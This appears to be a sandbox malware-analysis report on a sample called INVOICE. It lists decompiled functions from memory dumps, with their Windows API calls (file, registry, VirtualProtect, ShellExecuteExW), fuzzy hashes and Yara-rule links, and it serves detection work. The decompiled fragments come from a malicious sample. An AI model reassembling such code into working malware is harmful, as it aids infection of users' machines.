Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,-121694F5,476DF528,-0000000100000000,-471C10E5), ref: 02B64C10

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3d46a88412c649f620912acd1562a06c7b9720de090109bbb87b62336845f713
Instruction ID: 9ec035fff49a4a2f5a91f2ae3425b33e7b24e77f57c643b38256a8a3d409f97f
Opcode Fuzzy Hash: 3d46a88412c649f620912acd1562a06c7b9720de090109bbb87b62336845f713
Instruction Fuzzy Hash: 0C21377190474A8BDB286E38C9653EF77A2EFA1380FC6051EDCCAA7504D7750D85CB82

Uniqueness

Uniqueness Score: -1.00%

Function 02B654CF Relevance: 1.5, APIs: 1, Instructions: 49libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,-8122140A,02B52BAB), ref: 02B655EC

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 927cb955c9ef60407b0fbc70f3edca14a3285d16acfe80f6fd7a16f47a304c3c
Instruction ID: fe4db95555f7daf4ad7727c0e5caec28700a5be2b0cbc483df9ccf4d89ace850
Opcode Fuzzy Hash: 927cb955c9ef60407b0fbc70f3edca14a3285d16acfe80f6fd7a16f47a304c3c
Instruction Fuzzy Hash: 0301493060025ECFCB346F148E2C7FB33A29F85754F844209EC4A8B285D3344648CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00402891 Relevance: 1.5, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E00402891(intOrPtr __edx, void* __eflags) {
				long _t8;
				long _t10;
				LONG* _t12;
				void* _t14;
				intOrPtr _t15;
				void* _t16;
				void* _t19;

				_t15 = __edx;
				_pop(ds);
				if(__eflags != 0) {
					_t8 = E00402D84(2);
					_pop(_t14);
					 *((intOrPtr*)(_t19 - 0x10)) = _t15;
					_t10 = SetFilePointer(E0040649D(_t14, _t16), _t8, _t12,  *(_t19 - 0x24)); // executed
					if( *((intOrPtr*)(_t19 - 0x2c)) >= _t12) {
						_push(_t10);
						_push( *((intOrPtr*)(_t19 - 0xc)));
						E00406484();
					}
				}
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t19 - 4));
				return 0;
			}

0x00402891
0x00402891
0x00402892
0x0040289a
0x0040289f
0x004028a0
0x004028af
0x004028b8
0x004028be
0x00402ba1
0x00402ba4
0x00402ba4
0x004028b8
0x00402c2d
0x00402c39

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 004028AF

Part of subcall function 00406484: wsprintfW.USER32 ref: 00406491

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 1a69bed114d0c3cb27e295a60469d00fb85b85c1c8bbaab52ea3f411131a6a45
Instruction ID: a13d1cf18dcce6f7d85bed0b4e0fde0de6b16079219dfacd376ffc086bc6f252
Opcode Fuzzy Hash: 1a69bed114d0c3cb27e295a60469d00fb85b85c1c8bbaab52ea3f411131a6a45
Instruction Fuzzy Hash: D3E09271A04105BFDB01EFA5AE499AEB3B8EF44319B10483BF102F00C1DA794D119B2D

Uniqueness

Uniqueness Score: -1.00%

Function 004023B2 Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004023B2(int __eax, WCHAR* __ebx) {
				WCHAR* _t11;
				WCHAR* _t13;
				void* _t17;
				int _t21;

				_t11 = __ebx;
				_t5 = __eax;
				_t13 = 0;
				if(__eax != __ebx) {
					__eax = E00402DA6(__ebx);
				}
				if( *((intOrPtr*)(_t17 - 0x2c)) != _t11) {
					_t13 = E00402DA6(0x11);
				}
				if( *((intOrPtr*)(_t17 - 0x20)) != _t11) {
					_t11 = E00402DA6(0x22);
				}
				_t5 = WritePrivateProfileStringW(0, _t13, _t11, E00402DA6(0xffffffcd)); // executed
				_t21 = _t5;
				if(_t21 == 0) {
					 *((intOrPtr*)(_t17 - 4)) = 1;
				}
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t17 - 4));
				return 0;
			}

0x004023b2
0x004023b2
0x004023b4
0x004023b8
0x004023bb
0x004023c0
0x004023c5
0x004023ce
0x004023ce
0x004023d3
0x004023dc
0x004023dc
0x004023e9
0x004015b4
0x004015b6
0x0040292e
0x0040292e
0x00402c2d
0x00402c39

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 004023E9

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 498f41ba95d1dc934bc83887be66b3af98def7cf3aba53834c7129a1bd888199
Instruction ID: de4cb5ca612a6b97b91745c8380e1d92b079ec7b797fcdaf288f77766e75fad7
Opcode Fuzzy Hash: 498f41ba95d1dc934bc83887be66b3af98def7cf3aba53834c7129a1bd888199
Instruction Fuzzy Hash: FAE04F31900124BBDF603AB11F8DEAE205C6FC6744B18013EF911BA1C2E9FC8C4146AD

Uniqueness

Uniqueness Score: -1.00%

Function 004063D8 Relevance: 1.5, APIs: 1, Instructions: 24
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004063D8(void* __eflags, intOrPtr _a4, short* _a8, int _a12, void** _a16) {
				void* _t7;
				long _t8;
				void* _t9;

				_t7 = E00406329(_a4,  &_a12);
				if(_t7 != 0) {
					_t8 = RegCreateKeyExW(_t7, _a8, 0, 0, 0, _a12, 0, _a16, 0); // executed
					return _t8;
				}
				_t9 = 6;
				return _t9;
			}

0x004063e2
0x004063eb
0x00406401
0x00000000
0x00406401
0x004063ef
0x00000000

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402E57,00000000,?,?), ref: 00406401

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: f0170b29b94a961cdf0cc122a920c286c7e5b726b195fdee8f598fb45efbb6e4
Instruction ID: ccab944935cfefb85f0e849ce69279fb55db75a3b7fb0960311cd9d36817041a
Opcode Fuzzy Hash: f0170b29b94a961cdf0cc122a920c286c7e5b726b195fdee8f598fb45efbb6e4
Instruction Fuzzy Hash: 04E0E6B2010109BFEF095F90DC0AD7B3B1DE704300F01892EFD06D4091E6B5AD306675

Uniqueness

Uniqueness Score: -1.00%

Function 004060DF Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004060DF(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = WriteFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x004060e3
0x004060f3
0x004060fb
0x00000000
0x00406102
0x00000000
0x00406104

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,00403498,00000000,0041EA20,000000FF,0041EA20,000000FF,000000FF,00000004,00000000), ref: 004060F3

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction ID: d8d859634201a592f38c73999a999f352708a9e59580de02994c407fa40ca669
Opcode Fuzzy Hash: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction Fuzzy Hash: FAE08C3220026AABEF109E60DC04AEB3B6CFB00360F014837FA16E7081E270E93087A4

Uniqueness

Uniqueness Score: -1.00%

Function 004060B0 Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004060B0(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = ReadFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x004060b4
0x004060c4
0x004060cc
0x00000000
0x004060d3
0x00000000
0x004060d5

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004034E2,00000000,00000000,00403306,000000FF,00000004,00000000,00000000,00000000), ref: 004060C4

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction ID: 1583d2e05e1cff28e3594e7db3f0db2d88eef65457287744bb544c492d9958e5
Opcode Fuzzy Hash: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction Fuzzy Hash: AEE0EC322502AAABDF10AE65DC04AEB7B6CEB05361F018936FD16E6150E631E92197A4

Uniqueness

Uniqueness Score: -1.00%

Function 73E82A7F Relevance: 1.5, APIs: 1, Instructions: 21
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {

				 *0x73e85048 = _a4;
				if(_a8 == 1) {
					VirtualProtect(0x73e8505c, 4, 0x40, 0x73e8504c); // executed
					 *0x73e8505c = 0xc2;
					 *0x73e8504c = 0;
					 *0x73e85054 = 0;
					 *0x73e85068 = 0;
					 *0x73e85058 = 0;
					 *0x73e85050 = 0;
					 *0x73e85060 = 0;
					 *0x73e8505e = 0;
				}
				return 1;
			}

0x73e82a88
0x73e82a8d
0x73e82a9d
0x73e82aa5
0x73e82aac
0x73e82ab1
0x73e82ab6
0x73e82abb
0x73e82ac0
0x73e82ac5
0x73e82aca
0x73e82aca
0x73e82ad2

APIs

VirtualProtect.KERNELBASE(73E8505C,00000004,00000040,73E8504C), ref: 73E82A9D

Memory Dump Source

Source File: 00000000.00000002.1067951591.0000000073E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 73E80000, based on PE: true

Associated: 00000000.00000002.1067875254.0000000073E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1068020301.0000000073E84000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1068074588.0000000073E86000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73e80000_INVOICE.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 573b57f2b3a595f2198e76f6de1db5a331966c902dbc63fc29db127d4dbc08a7
Instruction ID: ac28b905208c3e4a1d57c2e0b2ad4943f59790ca24352c8e100670d7e0b965f6
Opcode Fuzzy Hash: 573b57f2b3a595f2198e76f6de1db5a331966c902dbc63fc29db127d4dbc08a7
Instruction Fuzzy Hash: 5EF0ACFAD003A0DEC350EF6A85447853FE8B704304B34656AE19CE62C1EB344444EF92

Uniqueness

Uniqueness Score: -1.00%

Function 004063AA Relevance: 1.5, APIs: 1, Instructions: 19
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004063AA(void* __eflags, intOrPtr _a4, short* _a8, int _a12, void** _a16) {
				void* _t7;
				long _t8;
				void* _t9;

				_t7 = E00406329(_a4,  &_a12);
				if(_t7 != 0) {
					_t8 = RegOpenKeyExW(_t7, _a8, 0, _a12, _a16); // executed
					return _t8;
				}
				_t9 = 6;
				return _t9;
			}

0x004063b4
0x004063bb
0x004063ce
0x00000000
0x004063ce
0x004063bf
0x00000000

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,?,?,?,00406438,?,00000000,?,?,Call,?), ref: 004063CE

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 759d75b29ffd137612e455953a298f0698f5beae901813cd77d6ec234b014f3e
Instruction ID: 4361357c0318622cec318f667d88df30c4c29b75262f7bca7234b06b46464da2
Opcode Fuzzy Hash: 759d75b29ffd137612e455953a298f0698f5beae901813cd77d6ec234b014f3e
Instruction Fuzzy Hash: 83D0123210020EBBDF115F91AD01FAB3B5DAB08310F014426FE06E40A1D775D530A764

Uniqueness

Uniqueness Score: -1.00%

Function 004015A3 Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004015A3() {
				int _t5;
				void* _t11;
				int _t14;

				_t5 = SetFileAttributesW(E00402DA6(0xfffffff0),  *(_t11 - 0x2c)); // executed
				_t14 = _t5;
				if(_t14 == 0) {
					 *((intOrPtr*)(_t11 - 4)) = 1;
				}
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t11 - 4));
				return 0;
			}

0x004015ae
0x004015b4
0x004015b6
0x0040292e
0x0040292e
0x00402c2d
0x00402c39

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015AE

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 47b2afe40cba55761507d4970926e301de26d93e6e1ecc914e53ec7ca2d4fe06
Instruction ID: 33d43a8ddb5fee1851102b8e64c9f064c627007e01bf6cdc746e786b0f5045d9
Opcode Fuzzy Hash: 47b2afe40cba55761507d4970926e301de26d93e6e1ecc914e53ec7ca2d4fe06
Instruction Fuzzy Hash: 30D01772B08110DBDB11DBA8AA48B9D72A4AB50368B208537D111F61D0E6B8C945AA19

Uniqueness

Uniqueness Score: -1.00%

Function 004044E5 Relevance: 1.5, APIs: 1, Instructions: 9
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004044E5(int _a4) {
				struct HWND__* _t2;
				long _t3;

				_t2 =  *0x433ed8; // 0x303f6
				if(_t2 != 0) {
					_t3 = SendMessageW(_t2, _a4, 0, 0); // executed
					return _t3;
				}
				return _t2;
			}

0x004044e5
0x004044ec
0x004044f7
0x00000000
0x004044f7
0x004044fd

APIs

SendMessageW.USER32(000303F6,00000000,00000000,00000000), ref: 004044F7

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: b985a0028b3d47d2300e38cb49a9103195f452c5c5dca8052d978926f7780193
Instruction ID: 729772cd993a62bf3dcd5a53f5ba0c6067f9c4589e443fe2cdcdd0dddf41cb53
Opcode Fuzzy Hash: b985a0028b3d47d2300e38cb49a9103195f452c5c5dca8052d978926f7780193
Instruction Fuzzy Hash: 74C04CB1740605BADA108B509D45F0677546750701F188429B641A50E0CA74E410D62C

Uniqueness

Uniqueness Score: -1.00%

Function 00405B63 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405B63(struct _SHELLEXECUTEINFOW* _a4) {
				struct _SHELLEXECUTEINFOW* _t4;
				int _t5;

				_t4 = _a4;
				_t4->lpIDList = _t4->lpIDList & 0x00000000;
				_t4->cbSize = 0x3c; // executed
				_t5 = ShellExecuteExW(_t4); // executed
				return _t5;
			}

0x00405b63
0x00405b68
0x00405b6c
0x00405b72
0x00405b78

APIs

ShellExecuteExW.SHELL32(?), ref: 00405B72

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: ExecuteShell
String ID:
API String ID: 587946157-0
Opcode ID: 34af207f7f04f37b2a6a243a8c8041682423b78b35e6f682d2e1a111f695392f
Instruction ID: 155326c85e208380d9db810c36285a9e1b4200be200639c8195ffcf147e959ee
Opcode Fuzzy Hash: 34af207f7f04f37b2a6a243a8c8041682423b78b35e6f682d2e1a111f695392f
Instruction Fuzzy Hash: BEC092B2000200EFE301CF80CB09F067BE8AF54306F028068E185DA060C7788840CB29

Uniqueness

Uniqueness Score: -1.00%

Function 004044CE Relevance: 1.5, APIs: 1, Instructions: 6
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004044CE(int _a4) {
				long _t2;

				_t2 = SendMessageW( *0x434f08, 0x28, _a4, 1); // executed
				return _t2;
			}

0x004044dc
0x004044e2

APIs

SendMessageW.USER32(00000028,?,00000001,004042F9), ref: 004044DC

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: ea04ea026f55595d688d74c1d87789f1c1942be7a89ca5b988cfd0b6025de892
Instruction ID: f9270ce27bc2d5d500308faa7c43699bdd9cec228278350af1c7ef3a72e6c056
Opcode Fuzzy Hash: ea04ea026f55595d688d74c1d87789f1c1942be7a89ca5b988cfd0b6025de892
Instruction Fuzzy Hash: 4FB01235181A00FBDE514B00DE09F857E62F7E4701F058038F341240F0CBB200A4DB08

Uniqueness

Uniqueness Score: -1.00%

Function 004034E5 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004034E5(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x40a018, _a4, 0, 0); // executed
				return _t2;
			}

0x004034f3
0x004034f9

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403242,?,?,?,?,?,?,0040387D,?), ref: 004034F3

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction ID: 036c8468b6dd2e012b37e6e875261c5f60c7cf4634656b07e897873a541603b6
Opcode Fuzzy Hash: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction Fuzzy Hash: 1FB01231140304BFDA214F10DF09F067B21BB94700F20C034B384380F086711435EB0D

Uniqueness

Uniqueness Score: -1.00%

Function 004044BB Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004044BB(int _a4) {
				int _t2;

				_t2 = EnableWindow( *0x42d264, _a4); // executed
				return _t2;
			}

0x004044c5
0x004044cb

APIs

KiUserCallbackDispatcher.NTDLL(?,00404292), ref: 004044C5

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
